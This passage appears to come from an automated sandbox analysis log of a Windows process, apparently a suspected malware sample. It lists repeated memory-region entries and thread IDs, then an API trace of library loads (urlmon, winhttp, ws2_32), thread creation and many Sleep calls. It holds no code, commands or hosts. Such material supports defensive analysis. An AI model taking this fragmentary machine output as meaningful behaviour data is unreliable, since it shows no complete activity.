pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20582 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20583 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20584 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20585 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20586 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20587 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20588 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20589 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20590 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20591 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20592 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20593 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20594 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20595 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20596 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20597 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20598 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20599 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20600 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20601 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20602 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20603 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20604 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20605 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20606 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20607 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20608 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20609 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20610 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20611 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20612 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20613 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20614 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20615 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20616 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20617 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20618 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20619 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20620 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20621 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20622 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20623 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20624 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20625 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20626 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20627 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20628 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20629 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20630 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20631 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 20632 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 20633 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 20634 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20635 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20636 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20637 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20638 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20639 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20640 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20641 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20642 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20643 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20644 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20645 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20646 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20647 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20648 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20649 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20650 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20651 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20652 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20653 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20654 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20655 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20656 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20657 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20658 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20659 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20660 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20661 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20662 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20663 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20664 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20665 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20666 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20667 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20668 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20669 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20670 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20671 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20672 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20673 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20674 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20675 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20676 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20677 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20678 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20679 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20680 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20681 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20682 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20683 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20684 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20685 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20686 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20687 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20688 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20689 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20690 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20691 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 20692 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Thread: id = 5 os_tid = 0x108c Thread: id = 6 os_tid = 0x1080 Thread: id = 7 os_tid = 0x1070 Thread: id = 8 os_tid = 0xe94 Thread: id = 9 os_tid = 0xccc Thread: id = 10 os_tid = 0xb14 Thread: id = 11 os_tid = 0x86c Thread: id = 12 os_tid = 0x858 Thread: id = 13 os_tid = 0x32c Thread: id = 14 os_tid = 0xaa4 Thread: id = 15 os_tid = 0xba0 Thread: id = 16 os_tid = 0x8c0 Thread: id = 17 os_tid = 0xbfc Thread: id = 18 os_tid = 0xb70 Thread: id = 19 os_tid = 0xa64 Thread: id = 20 os_tid = 0xa50 Thread: id = 21 os_tid = 0xa4c Thread: id = 22 os_tid = 0xa48 Thread: id = 23 os_tid = 0xa44 Thread: id = 24 os_tid = 0xa40 Thread: id = 25 os_tid = 0xa24 Thread: id = 26 os_tid = 0xa20 Thread: id = 27 os_tid = 0x9e4 Thread: id = 28 os_tid = 0x880 Thread: id = 29 os_tid = 0x874 Thread: id = 30 os_tid = 0x84c Thread: id = 31 os_tid = 0x844 Thread: id = 32 os_tid = 0x83c Thread: id = 33 os_tid = 0x818 Thread: id = 34 os_tid = 0x814 Thread: id = 35 os_tid = 0x80c Thread: id = 36 os_tid = 0x804 Thread: id = 37 os_tid = 0x498 Thread: id = 38 os_tid = 0x694 Thread: id = 39 os_tid = 0x43c Thread: id = 40 os_tid = 0x490 Thread: id = 41 os_tid = 0x4b0 Thread: id = 42 os_tid = 0x494 Thread: id = 43 os_tid = 0x5e8 Thread: id = 44 os_tid = 0x6c4 Thread: id = 45 os_tid = 0x6b8 Thread: id = 46 os_tid = 0x7b8 Thread: id = 47 os_tid = 0x430 [0102.788] LoadLibraryA (lpLibFileName="NTDLL") returned 0x7ffa16770000 [0102.790] GetProcAddress (hModule=0x7ffa16770000, lpProcName="RtlExitUserThread") returned 0x7ffa167cc2a0 [0102.796] RtlCreateHeap (Flags=0x1002, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x0, Lock=0x0, Parameters=0x0) returned 0x97b0000 [0103.703] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x10) returned 0x97b0830 [0103.703] LoadLibraryA (lpLibFileName="user32") returned 0x7ffa13d80000 [0103.704] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b0830) returned 0x10 [0103.715] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b0830) returned 1 [0103.738] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x12) returned 0x97b0830 [0103.738] LoadLibraryA (lpLibFileName="advapi32") returned 0x7ffa15090000 [0103.739] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b0830) returned 0x12 [0103.739] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b0830) returned 1 [0103.739] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x10) returned 0x97b0830 [0103.739] LoadLibraryA (lpLibFileName="urlmon") returned 0x7ffa09580000 [0103.740] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b0830) returned 0x10 [0103.740] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b0830) returned 1 [0103.740] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0xf) returned 0x97b0830 [0103.740] LoadLibraryA (lpLibFileName="ole32") returned 0x7ffa13b70000 [0103.741] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b0830) returned 0xf [0103.741] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b0830) returned 1 [0103.741] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x11) returned 0x97b0830 [0103.741] LoadLibraryA (lpLibFileName="winhttp") returned 0x7ffa0ed60000 [0103.742] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b0830) returned 0x11 [0103.742] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b0830) returned 1 [0103.742] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x10) returned 0x97b0830 [0103.742] LoadLibraryA (lpLibFileName="ws2_32") returned 0x7ffa146e0000 [0103.743] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b0830) returned 0x10 [0103.743] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b0830) returned 1 [0103.743] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x10) returned 0x97b0830 [0103.743] LoadLibraryA (lpLibFileName="dnsapi") returned 0x7ffa11800000 [0103.758] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b0830) returned 0x10 [0103.758] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b0830) returned 1 [0103.758] RtlAllocateHeap (HeapHandle=0x97b0000, Flags=0x8, Size=0x11) returned 0x97b0830 [0103.758] LoadLibraryA (lpLibFileName="shell32") returned 0x7ffa15210000 [0103.759] RtlSizeHeap (HeapHandle=0x97b0000, Flags=0x0, MemoryPointer=0x97b0830) returned 0x11 [0103.759] RtlFreeHeap (HeapHandle=0x97b0000, Flags=0x0, BaseAddress=0x97b0830) returned 1 [0103.760] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x7ffa14340000 [0103.761] GetProcAddress (hModule=0x7ffa14340000, lpProcName="CoInitializeEx") returned 0x7ffa143a2c50 [0103.761] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x7ffa14340000 [0103.762] GetProcAddress (hModule=0x7ffa14340000, lpProcName="CoInitializeSecurity") returned 0x7ffa14375fe0 [0103.763] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x7ffa14340000 [0103.764] GetProcAddress (hModule=0x7ffa14340000, lpProcName="CoCreateInstance") returned 0x7ffa143dfb70 [0103.764] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x7ffa14340000 [0103.765] GetProcAddress (hModule=0x7ffa14340000, lpProcName="CoUninitialize") returned 0x7ffa143a1540 [0103.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1e83ca4, lpParameter=0x610000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c5c [0103.766] CloseHandle (hObject=0x1c5c) returned 1 [0103.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1e83d80, lpParameter=0x610000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c5c [0103.767] CloseHandle (hObject=0x1c5c) returned 1 [0103.767] Sleep (dwMilliseconds=0xa) [0103.850] Sleep (dwMilliseconds=0xa) [0103.945] Sleep (dwMilliseconds=0xa) [0104.113] Sleep (dwMilliseconds=0xa) [0104.229] Sleep (dwMilliseconds=0xa) [0104.275] Sleep (dwMilliseconds=0xa) [0104.321] Sleep (dwMilliseconds=0xa) [0104.336] Sleep (dwMilliseconds=0xa) [0104.348] Sleep (dwMilliseconds=0xa) [0104.364] Sleep (dwMilliseconds=0xa) [0104.381] Sleep (dwMilliseconds=0xa) [0104.441] Sleep (dwMilliseconds=0xa) [0104.535] Sleep (dwMilliseconds=0xa) [0104.630] Sleep (dwMilliseconds=0xa) [0104.735] Sleep (dwMilliseconds=0xa) [0104.771] Sleep (dwMilliseconds=0xa) [0104.819] Sleep (dwMilliseconds=0xa) [0104.848] Sleep (dwMilliseconds=0xa) [0104.865] Sleep (dwMilliseconds=0xa) [0104.879] Sleep (dwMilliseconds=0xa) [0104.927] Sleep (dwMilliseconds=0xa) [0105.043] Sleep (dwMilliseconds=0xa) [0105.224] Sleep (dwMilliseconds=0xa) [0105.364] Sleep (dwMilliseconds=0xa) [0105.443] Sleep (dwMilliseconds=0xa) [0105.490] Sleep (dwMilliseconds=0xa) [0105.539] Sleep (dwMilliseconds=0xa) [0105.585] Sleep (dwMilliseconds=0xa) [0105.614] Sleep (dwMilliseconds=0xa) [0105.629] Sleep (dwMilliseconds=0xa) [0105.646] Sleep (dwMilliseconds=0xa) [0105.674] Sleep (dwMilliseconds=0xa) [0105.739] Sleep (dwMilliseconds=0xa) [0105.882] Sleep (dwMilliseconds=0xa) [0106.003] Sleep (dwMilliseconds=0xa) [0106.069] Sleep (dwMilliseconds=0xa) [0106.116] Sleep (dwMilliseconds=0xa) [0106.162] Sleep (dwMilliseconds=0xa) [0106.210] Sleep (dwMilliseconds=0xa) [0106.226] Sleep (dwMilliseconds=0xa) [0106.240] Sleep (dwMilliseconds=0xa) [0106.261] Sleep (dwMilliseconds=0xa) [0106.297] Sleep (dwMilliseconds=0xa) [0106.336] Sleep (dwMilliseconds=0xa) [0106.525] Sleep (dwMilliseconds=0xa) [0106.653] Sleep (dwMilliseconds=0xa) [0106.702] Sleep (dwMilliseconds=0xa) [0106.743] Sleep (dwMilliseconds=0xa) [0106.788] Sleep (dwMilliseconds=0xa) [0106.820] Sleep (dwMilliseconds=0xa) [0106.833] Sleep (dwMilliseconds=0xa) [0106.848] Sleep (dwMilliseconds=0xa) [0106.876] Sleep (dwMilliseconds=0xa) [0106.911] Sleep (dwMilliseconds=0xa) [0107.027] Sleep (dwMilliseconds=0xa) [0107.086] Sleep (dwMilliseconds=0xa) [0107.132] Sleep (dwMilliseconds=0xa) [0107.223] Sleep (dwMilliseconds=0xa) [0107.282] Sleep (dwMilliseconds=0xa) [0107.317] Sleep (dwMilliseconds=0xa) [0107.334] Sleep (dwMilliseconds=0xa) [0107.351] Sleep (dwMilliseconds=0xa) [0107.366] Sleep (dwMilliseconds=0xa) [0107.379] Sleep (dwMilliseconds=0xa) [0107.395] Sleep (dwMilliseconds=0xa) [0107.410] Sleep (dwMilliseconds=0xa) [0107.489] Sleep (dwMilliseconds=0xa) [0107.576] Sleep (dwMilliseconds=0xa) [0107.631] Sleep (dwMilliseconds=0xa) [0107.688] Sleep (dwMilliseconds=0xa) [0107.848] Sleep (dwMilliseconds=0xa) [0107.941] Sleep (dwMilliseconds=0xa) [0108.057] Sleep (dwMilliseconds=0xa) [0108.117] Sleep (dwMilliseconds=0xa) [0108.172] Sleep (dwMilliseconds=0xa) [0108.224] Sleep (dwMilliseconds=0xa) [0108.270] Sleep (dwMilliseconds=0xa) [0108.589] Sleep (dwMilliseconds=0xa) [0108.685] Sleep (dwMilliseconds=0xa) [0108.724] Sleep (dwMilliseconds=0xa) [0108.762] Sleep (dwMilliseconds=0xa) [0108.785] Sleep (dwMilliseconds=0xa) [0108.805] Sleep (dwMilliseconds=0xa) [0108.822] Sleep (dwMilliseconds=0xa) [0108.841] Sleep (dwMilliseconds=0xa) [0108.909] Sleep (dwMilliseconds=0xa) [0108.958] Sleep (dwMilliseconds=0xa) [0109.004] Sleep (dwMilliseconds=0xa) [0109.067] Sleep (dwMilliseconds=0xa) [0109.100] Sleep (dwMilliseconds=0xa) [0109.113] Sleep 